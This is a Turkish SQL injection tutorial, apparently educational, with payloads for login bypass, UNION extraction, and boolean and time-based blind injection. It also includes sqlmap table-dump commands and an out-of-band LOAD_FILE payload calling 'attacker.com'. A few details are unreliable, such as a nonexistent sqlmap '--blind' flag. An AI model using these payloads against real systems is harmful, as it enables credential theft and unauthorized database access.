SQL Injection Guide

Veritabanı güvenlik açıkları ve saldırı teknikleri rehberi

' OR 1=1--

SQL Injection Nedir?

SQL Injection (SQLi), bir saldırganın uygulamanın veritabanına yaptığı sorgulara müdahale etmesine olanak tanıyan bir web güvenlik açığıdır. Bu açık sayesinde saldırgan normalde erişemeyeceği verileri görebilir, değiştirebilir veya silebilir.

SQL Injection'ın Temel Prensibi

Uygulama, kullanıcı girdilerini SQL sorgusuna güvenli olmayan şekilde dahil ettiğinde ortaya çıkar. Saldırgan, özel karakterler ve SQL komutları göndererek sorgunun mantığını değiştirebilir.

Basit SQLi Örneği:
-- Normal sorgu SELECT * FROM users WHERE username = 'admin' -- SQLi ile manipüle edilmiş sorgu SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
SQL Injection'ın Bulunabileceği Yerler:
  • • WHERE clauses: En yaygın lokasyon
  • • UPDATE statements: Güncellenen değerlerde
  • • INSERT statements: Eklenen değerlerde
  • • ORDER BY clauses: Sıralama parametrelerinde
  • • Table/Column names: Dinamik sorgu oluşturmada
Tarihçe
SQL Injection 1998'de ilk kez dokumenta edildi. OWASP Top 10'da uzun yıllar #1 sırada yer aldı ve hala yaygın görülen kritik güvenlik açıklarından biri.

SQL Injection Tespit Yöntemleri

SQL injection açıkları manuel test teknikleri veya otomatik araçlar kullanılarak tespit edilebilir.

Manuel Tespit Teknikleri
  1. 1. Single Quote (') Testi: Tek tırnak gönderip hata mesajı aramak
  2. 2. SQL Syntax Testi: Base64 değerleri ile farklı sonuçlar alıp almadığını kontrol
  3. 3. Boolean Testi: OR 1=1 ve OR 1=2 ile farklı davranış gözlemleme
  4. 4. Time Delay Testi: Sleep/waitfor komutları ile zaman gecikmesi
  5. 5. OAST Testi: Out-of-band network etkileşimi tetikleme
Tespit Payload'ları:
-- 1. Single Quote Test ' -- 2. Boolean Conditions OR 1=1-- OR 1=2-- -- 3. Time Delays OR SLEEP(5)-- ; WAITFOR DELAY '00:00:05'-- -- 4. OAST Payloads OR LOAD_FILE('\\\\attacker.com\\test')--
Burp Scanner: SQL injection açıklarının çoğunluğu Burp Scanner gibi otomatik araçlarla hızlı ve güvenilir şekilde tespit edilebilir.
Sistematik Test
Her entry point'i (form alanları, URL parametreleri, HTTP header'ları, cookie'ler) sistematik olarak test etmek gerekir. Tek bir parametre bile atlanmamalı.

SQL Injection'ın Etki ve Sonuçları

Başarılı bir SQL injection saldırısı kritik sonuçlara yol açabilir ve organizasyonlar için ciddi risk oluşturur.

Doğrudan Etkiler
  • • Unauthorized Data Access: Hassas verilere yetkisiz erişim
  • • Data Breach: Kullanıcı bilgileri, şifreler, kredi kartı bilgileri
  • • Data Manipulation: Verilerin değiştirilmesi veya silinmesi
  • • Authentication Bypass: Giriş kontrollerinin bypass edilmesi
  • • Privilege Escalation: Yetki seviyesinin yükseltilmesi
İleri Seviye Etkiler
  • • Server Compromise: Altyapı sunucularına erişim
  • • Persistent Backdoor: Kalıcı arka kapı yerleştirme
  • • Denial of Service: Servis kesintisi saldırıları
  • • Lateral Movement: Ağ içinde yan hareket
  • • Data Exfiltration: Büyük miktarda veri sızdırma
Gerçek Dünya Örnekleri:

Equifax (2017): 147 milyon kişinin bilgileri çalındı

TalkTalk (2015): 4 milyon müşteri bilgisi ele geçirildi

Sony Pictures (2011): 1 milyon kullanıcı hesabı sızdırıldı

Uzun Vadeli Riskler: SQL injection saldırıları genellikle fark edilmeden uzun süre devam eder. Saldırganlar sistemde kalıcı backdoor'lar yerleştirerek aylarca tespit edilmeden veri çalabilir.
Yasal ve Mali Sonuçlar:
• GDPR cezaları (gelirin %4'üne kadar)
• Reputasyon kaybı ve müşteri güven sorunu
• Rekabet avantajı kaybı
• Yasal dava ve tazminat talepleri
• Düzenleyici kurumlar tarafından inceleme

Gizli Veri Çekme Saldırıları

SQL injection'ın en yaygın kullanımlarından biri, normalde görülemeyen gizli verileri ortaya çıkarmaktır.

E-ticaret Sitesi Örneği:

Kullanıcı "Hediyeler" kategorisini seçtiğinde:

https://insecure-website.com/products?category=Gifts

Arka planda çalışan sorgu:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1
Comment Injection Attack

SQL comment kullanarak kısıtlamaları kaldırma:

https://insecure-website.com/products?category=Gifts'--
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1

Sonuç: Yayınlanmamış ürünler de dahil tüm "Gifts" ürünleri görünür.

Universal True Condition

Her zaman doğru olan koşul ekleyerek tüm verileri görme:

https://insecure-website.com/products?category=Gifts'+OR+1=1--
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

Sonuç: Tüm kategorilerdeki tüm ürünler görünür.

Dikkat: OR 1=1 koşulunu kullanırken çok dikkatli olun. Bu koşul UPDATE veya DELETE sorgularında kullanılırsa tüm verilerin silinmesine/değiştirilmesine sebep olabilir.
Güvenli Test: Test ortamında çalışırken bile veri kaybını önlemek için önce SELECT sorgularında test yapın, UPDATE/DELETE payload'larını dikkatli kullanın.

Login Bypass Saldırıları

SQL injection kullanarak şifre bilmeden herhangi bir kullanıcı hesabına giriş yapılabilir.

Tipik Login Sorgusu:

Kullanıcı adı: "wiener", Şifre: "bluecheese"

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

Sorgu sonuç döndürürse giriş başarılı, döndürmezse başarısız.

Admin Login Bypass

Kullanıcı adı alanına şu payload'ı girin:

administrator'--

Şifre alanını boş bırakın. Sonuçta çalışan sorgu:

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

Şifre kontrolü comment ile kaldırılır ve admin olarak giriş yapılır.

Alternatif Bypass Teknikleri:
-- OR 1=1 ile bypass admin' OR 1=1-- -- UNION ile bypass ' UNION SELECT 1,'admin','password'-- -- Tautology ile bypass admin' OR '1'='1--
Farklı Senaryolar
  • • MD5 Hash Bypass: Hash karşılaştırmalarında injection
  • • Time-based Bypass: Blind injection ile brute force
  • • Error-based Info: Hata mesajlarından kullanıcı listeleme
Savunma Mekanizmaları
Modern uygulamalar parametreli sorgu, input validation, account lockout gibi savunma mekanizmaları kullanır. Ancak bu mekanizmalar hatalı implement edilirse hala bypass edilebilir.

UNION Saldırıları

Uygulama SQL sorgusunun sonucunu döndürdüğünde, UNION keyword kullanarak farklı tablolardan veri çekilebilir.

UNION SQL Komutu

UNION, birden fazla SELECT sorgusunun sonuçlarını birleştirmek için kullanılır. Her SELECT'in aynı sayıda column döndürmesi gerekir.

Temel UNION Saldırısı:

Orijinal sorgu:

SELECT name, description FROM products WHERE category = 'Gifts'

Saldırı payload'ı:

' UNION SELECT username, password FROM users--

Sonuç sorgu:

SELECT name, description FROM products WHERE category = '' UNION SELECT username, password FROM users--'
UNION Saldırısı Adımları
  1. 1. Column Sayısını Tespit: ORDER BY veya UNION SELECT ile
  2. 2. Data Type Kontrolü: Hangi column'ların string olduğunu bulma
  3. 3. Hedef Tabloları Keşfetme: information_schema kullanarak
  4. 4. Veri Çıkarma: İstenen tablodan veri alma
Column Sayısını Tespit Etme:
-- ORDER BY ile column sayısını bulma ' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- (hata verirse 2 column var) -- UNION SELECT ile test ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL--
String Column Tespiti:
-- Her column'ı tek tek test et ' UNION SELECT 'a',NULL-- ' UNION SELECT NULL,'a'--
Burp Suite Intruder: UNION saldırılarını otomatikleştirmek için Intruder kullanabilirsiniz. Column sayısı ve data type tespiti için payload listleri oluşturun.

Blind SQL Injection

Birçok SQL injection açığı "blind" türdedir - uygulama sorgu sonuçlarını veya hata detaylarını göstermez.

Blind SQL Injection Türleri
  • Boolean-based: True/false koşullarla sonuç çıkarma
  • Time-based: Zaman gecikmeleriyle bilgi edinme
  • Error-based: Kontrollü hata mesajları ile veri çekme
Boolean-based Blind SQLi

Uygulamanın farklı davranışlarını gözlemleyerek bilgi edinme:

-- Database isminin ilk harfini test etme ' AND SUBSTRING((SELECT DATABASE()),1,1) = 'a'-- ' AND SUBSTRING((SELECT DATABASE()),1,1) = 'b'-- -- Kullanıcı sayısını öğrenme ' AND (SELECT COUNT(*) FROM users) > 5--
Time-based Blind SQLi

Zaman gecikmesi yaratarak koşulları test etme:

-- MySQL için ' AND IF(SUBSTRING((SELECT DATABASE()),1,1)='a', SLEEP(5), 0)-- -- PostgreSQL için '; SELECT CASE WHEN SUBSTRING(DATABASE(),1,1)='a' THEN pg_sleep(5) END-- -- SQL Server için '; IF (SUBSTRING(db_name(),1,1)='a') WAITFOR DELAY '00:00:05'--
Automated Blind SQLi:

Sqlmap gibi araçlar blind injection'ı otomatikleştirir:

sqlmap -u "http://target.com/page?id=1" --blind --dbs sqlmap -u "http://target.com/page?id=1" --blind -D database_name --tables sqlmap -u "http://target.com/page?id=1" --blind -D db -T users --dump
Zaman Tabanlı Tespit
Time-based blind injection'da network latency'sini hesaba katın. Baseline response time'ı belirledikten sonra anlamlı delay değerleri (5-10 saniye) kullanın.
OAST Teknikleri: DNS exfiltration, HTTP callbacks gibi out-of-band teknikler blind injection'da çok etkilidir ve network filtreleri bypass edebilir.

Second-Order SQL Injection

İkinci derece SQL injection, verinin ilk kaydedildiği yerde değil, daha sonra kullanıldığı yerde ortaya çıkar.

Second-Order SQLi Süreci
  1. 1. Kullanıcı malicious input gönderir
  2. 2. Uygulama veriyi güvenli şekilde veritabanına kaydeder
  3. 3. Daha sonra bu veri başka bir HTTP request'te kullanılır
  4. 4. İkinci kullanımda güvenlik kontrolü yapılmaz
  5. 5. SQL injection gerçekleşir
Tipik Second-Order Senaryosu:

Adım 1: Kullanıcı kayıt olurken şu username'i girer:

admin'--

Adım 2: Registration güvenli şekilde çalışır:

INSERT INTO users (username, password) VALUES ('admin\'--', 'password123')

Adım 3: Daha sonra profil güncellemede:

UPDATE users SET email = 'new@email.com' WHERE username = 'admin'--'
Second-Order'ın Tehlikeli Yanları
  • • Tespit edilmesi daha zor
  • • Güvenlik taramalarında gözden kaçar
  • • Geliştiriciler fark etmez (çünkü ilk kayıt güvenli)
  • • Input validation bypass eder